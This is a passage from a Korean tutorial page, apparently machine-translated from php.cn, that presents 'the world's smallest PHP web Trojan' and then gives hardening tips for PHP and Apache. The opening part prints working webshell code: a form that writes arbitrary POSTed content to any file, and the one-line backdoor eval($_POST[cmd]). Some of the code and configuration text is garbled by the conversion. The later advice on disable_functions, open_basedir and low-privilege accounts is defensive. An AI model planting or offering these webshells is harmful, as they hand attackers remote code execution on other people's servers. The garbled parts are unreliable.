세상에서 가장 작은 PHP 웹 트로이 목마입니다. PHP 트로이 목마에 대한 예방 방법이 첨부되어 있습니다.

php web Trojan

코드 복사 코드는 다음과 같습니다.

header("content- 유형: text /html; charset=gb2312");
if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = Stripslashes($v);
?>

저장 파일 이름:



</ 텍스트 영역> <br><br><br> <br><input type="submit" name="submit" value="Save"> ;?php <br>if(isset($_POST['file'])) <br>{ <br>$fp = @fopen($_POST['file'],'wb') <br>echo @ fwrite($ fp,$_POST['text']) ? '저장 성공!' : <br>@fclose($fp) <br>?> 🎜><br>한 문장 php Trojan<br><br><br></p>코드 복사<br><br> 코드는 다음과 같습니다.<p><span><u><?php eval( $_POST[cmd]) ;?> </u></span></p>PHP 트로이 목마를 방지하는 방법<p>PHP는 동적 웹 페이지를 생성할 수 있는 도구 중 하나입니다. PHP 웹 파일은 일반 HTML 웹 파일로 취급되며 편집 시 HTML 편집과 동일한 방식으로 PHP를 작성할 수 있습니다. <br>PHP는 Hypertext Preprocessor(PHP: Hypertext Preprocessor)를 의미하며 PHP 공식 사이트(http://www.php.net)에서 무료로 다운로드할 수 있습니다. PHP는 Linux 및 Emacs와 같은 많은 인기 소프트웨어가 탄생한 GNU Public License(GPL)를 준수합니다. PHP는 대부분의 Unix 플랫폼, GUN/Linux 및 Microsoft Windows 플랫폼에서 실행될 수 있습니다. Windows PC 또는 Unix 시스템에 PHP를 설치하는 방법에 대한 정보는 PHP 공식 사이트에서 찾을 수 있습니다. 설치 과정은 간단합니다. <br>PHP의 또 다른 이점은 보안입니다. 인터넷이 발전하면서 네트워크 보안이 점점 더 주목을 받고 있습니다. PHP는 ASP처럼 보안 설정이 매우 간단하기 때문에 ASP를 거의 대체했습니다. 많은 단계를 거치고 많은 서비스가 비활성화됩니다. 그러나 아무리 좋은 것이더라도 항상 단점이 있습니다. PHP가 기본적으로 구성되어 있으면 취약할 것입니다. 따라서 이 기사에서는 스크립트 트로이 목마의 파괴를 방지하기 위해 PHP의 일부 보안 측면을 구성하는 방법에 대해 설명합니다. </p>1. php Trojan이 웹셸을 실행하지 못하도록 방지 <br>safe_mode를 열고 php.ini에서 비활성화_functi를 설정하거나 둘 중 하나를 선택할 수 있습니다. <br>2. 웹 디렉터리 밖으로 점프 방지 <br>먼저 httpd.conf를 수정하세요. php 스크립트 프로그램이 웹 디렉터리에서만 작동하도록 허용한다면, httpd.conf 파일을 수정하여 작업 경로를 제한할 수도 있습니다. PHP의. 예를 들어, 웹 디렉토리가 /usr/local/apache/htdocs인 경우 스크립트가 /usr/local/apache/를 읽으려는 경우 httpd.conf에 다음 행을 추가하십시오: php_admin_value open_basedir /usr/local/apache/htdocs htdocs 이외의 파일은 열 때 오류 메시지가 표시되면 다음과 같은 오류가 표시됩니다: 경고: open_basedir 제한이 적용되었습니다. 파일이 /usr/local/apache/htdocs/open의 잘못된 디렉터리에 있습니다. 4번째 줄의 .php 등. <br>3. PHP 트로이 목마가 파일 디렉터리를 읽고 쓰는 것을 방지 <br>php.ini에서 비활성화_functi 뒤에 PHP 파일 처리 기능을 추가합니다. 주로 fopen, mkdir, rmdir, chmod, unlink, dir, fopen, fread, fclose, fwrite, file_exists, closeir, is_dir, readdir.opendir, fileperms.copy, unlink, delfile. 이는 비활성화_functi, fopen, mkdir, rmdir, chmod, unlink, dir, fopen, fread, fclose, fwrite, file_exists, closeir, is_dir, readdir.opendir, fileperms.copy, unlink, delfile입니다. <br>끝났습니다. PHP 트로이 목마는 우리를 이길 수 없습니다. 불행하게도 이 경우 텍스트 데이터베이스를 사용하는 작업은 더 이상 작동하지 않습니다. Apache가 Windos 플랫폼에 구축된 경우 주의가 필요합니다. 기본적으로 Apache는 시스템 권한으로 실행됩니다. <br>net user apache f**kmicrosoft /add <br>net localgroup users apache / del <br>이때 어떤 그룹에도 속하지 않는 사용자 apche가 생성되었습니다. 컴퓨터 관리자-서비스-아파치 서비스 속성-로그인-이 계정을 열고 다음을 입력하세요. 위에서 생성한 계정과 비밀번호를 입력하고 아파치를 다시 시작하면 서비스가 낮은 권한으로 실행되는 아파치를 실현할 수 있습니다. <br>요약: 실제로 각 폴더의 권한을 설정하고 각 디렉터리에 대해 읽고 쓸 수 있는 별도의 사용자를 생성하는 방식으로도 보안을 달성할 수 있습니다. 현재 많은 가상 호스팅 제공업체에서 널리 사용되는 구성 방법이지만 이를 방지하기에는 이 방법이 과도합니다. 관리자가 보안의식을 갖고 있는 한, 사용되지 않는 기능을 상대적으로 차단함으로써 네트워크 보안 위협을 예방할 수 있습니다. <br>다음은 일부 웹 트로이 목마의 파일 생성 등을 방지하기 위한 mcafee의 보안 설정입니다. <br>http://www.jb51.net/hack/list461_1.html <br> 위에는 세상에서 가장 작은 PHP 웹 트로이목마를 소개하고, PHP 트로이목마의 예방법과 관련 내용을 포함하여 PHP 튜토리얼에 관심이 있는 친구들에게 도움이 되었으면 좋겠습니다. <br> <br> <br></div><div class="nphpQianMsg"><div class="clear"></div></div><div class="nphpQianSheng"><span>성명：</span><div>본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.</div></div></div><div class="nphpSytBox"><span>이전 기사：<a class="dBlack" title="Office 정품인증 PHP 인증 기능" href="https://m.php.cn/ko/faq/322378.html">Office 정품인증 PHP 인증 기능</a></span><span>다음 기사：<a class="dBlack" title="Office 정품인증 PHP 인증 기능" href="https://m.php.cn/ko/faq/322382.html">Office 정품인증 PHP 인증 기능</a></span></div><div class="nphpSytBox2"><div class="nphpZbktTitle"><h2>관련 기사</h2><em><a href="https://m.php.cn/ko/article.html" class="bBlack"><i>더보기</i><b></b></a></em><div class="clear"></div></div><ins class="adsbygoogle" style="display:block" data-ad-format="fluid" data-ad-layout-key="-6t+ed+2i-1n-4w" data-ad-client="ca-pub-5902227090019525" data-ad-slot="8966999616"></ins><script> (adsbygoogle = window.adsbygoogle || []).push({}); </script><ul class="nphpXgwzList"><li><b></b><a href="https://m.php.cn/ko/faq/1.html" title="cURL을 사용하여 PHP에서 Get 및 Post 요청을 구현하는 방법" class="aBlack">cURL을 사용하여 PHP에서 Get 및 Post 요청을 구현하는 방법</a><div class="clear"></div></li><li><b></b><a href="https://m.php.cn/ko/faq/1.html" title="cURL을 사용하여 PHP에서 Get 및 Post 요청을 구현하는 방법" class="aBlack">cURL을 사용하여 PHP에서 Get 및 Post 요청을 구현하는 방법</a><div class="clear"></div></li><li><b></b><a href="https://m.php.cn/ko/faq/1.html" title="cURL을 사용하여 PHP에서 Get 및 Post 요청을 구현하는 방법" class="aBlack">cURL을 사용하여 PHP에서 Get 및 Post 요청을 구현하는 방법</a><div class="clear"></div></li><li><b></b><a href="https://m.php.cn/ko/faq/1.html" title="cURL을 사용하여 PHP에서 Get 및 Post 요청을 구현하는 방법" class="aBlack">cURL을 사용하여 PHP에서 Get 및 Post 요청을 구현하는 방법</a><div class="clear"></div></li><li><b></b><a href="https://m.php.cn/ko/faq/2.html" title="정규식의 모든 표현식 기호(요약)" class="aBlack">정규식의 모든 표현식 기호(요약)</a><div class="clear"></div></li></ul></div></div><ins class="adsbygoogle" style="display:block" data-ad-format="autorelaxed" data-ad-client="ca-pub-5902227090019525" data-ad-slot="5027754603"></ins><script> (adsbygoogle = window.adsbygoogle || []).push({}); </script><footer><div class="footer"><div class="footertop"><img src="/static/imghwm/logo.png" alt=""><p>공공복지 온라인 PHP 교육，PHP 학습자의 빠른 성장을 도와주세요！</p></div><div class="footermid"><a href="https://m.php.cn/ko/about/us.html">회사 소개</a><a href="https://m.php.cn/ko/about/disclaimer.html">부인 성명</a><a href="https://m.php.cn/ko/update/article_0_1.html">Sitemap</a></div><div class="footerbottom"><p> © php.cn All rights reserved </p></div></div></footer><script>isLogin = 0;</script><script type="text/javascript" src="/static/layui/layui.js"></script><script type="text/javascript" src="/static/js/global.js?4.9.47"></script></div><script src="https://vdse.bdstatic.com//search-video.v1.min.js"></script><link rel='stylesheet' id='_main-css' href='/static/css/viewer.min.css' type='text/css' media='all'/><script type='text/javascript' src='/static/js/viewer.min.js?1'></script><script type='text/javascript' src='/static/js/jquery-viewer.min.js'></script><script>jQuery.fn.wait = function (func, times, interval) { var _times = times || -1, //100次 _interval = interval || 20, //20毫秒每次 _self = this, _selector = this.selector, //选择器 _iIntervalID; //定时器id if( this.length ){ //如果已经获取到了，就直接执行函数 func && func.call(this); } else { _iIntervalID = setInterval(function() { if(!_times) { //是0就退出 clearInterval(_iIntervalID); } _times <= 0 || _times--; //如果是正数就 -- _self = $(_selector); //再次选择 if( _self.length ) { //判断是否取到 func && func.call(_self); clearInterval(_iIntervalID); } }, _interval); } return this; } $("table.syntaxhighlighter").wait(function() { $('table.syntaxhighlighter').append("<p class='cnblogs_code_footer'><span class='cnblogs_code_footer_icon'></span></p>"); }); $(document).on("click", ".cnblogs_code_footer",function(){ $(this).parents('table.syntaxhighlighter').css('display','inline-table');$(this).hide(); }); $('.nphpQianCont').viewer({navbar:true,title:false,toolbar:false,movable:false,viewed:function(){$('img').click(function(){$('.viewer-close').trigger('click');});}}); </script></body><!-- Matomo --><script> var _paq = window._paq = window._paq || []; /* tracker methods like "setCustomDimension" should be called before "trackPageView" */ _paq.push(['trackPageView']); _paq.push(['enableLinkTracking']); (function() { var u="https://tongji.php.cn/"; _paq.push(['setTrackerUrl', u+'matomo.php']); _paq.push(['setSiteId', '9']); var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0]; g.async=true; g.src=u+'matomo.js'; s.parentNode.insertBefore(g,s); })(); </script><!-- End Matomo Code --></html>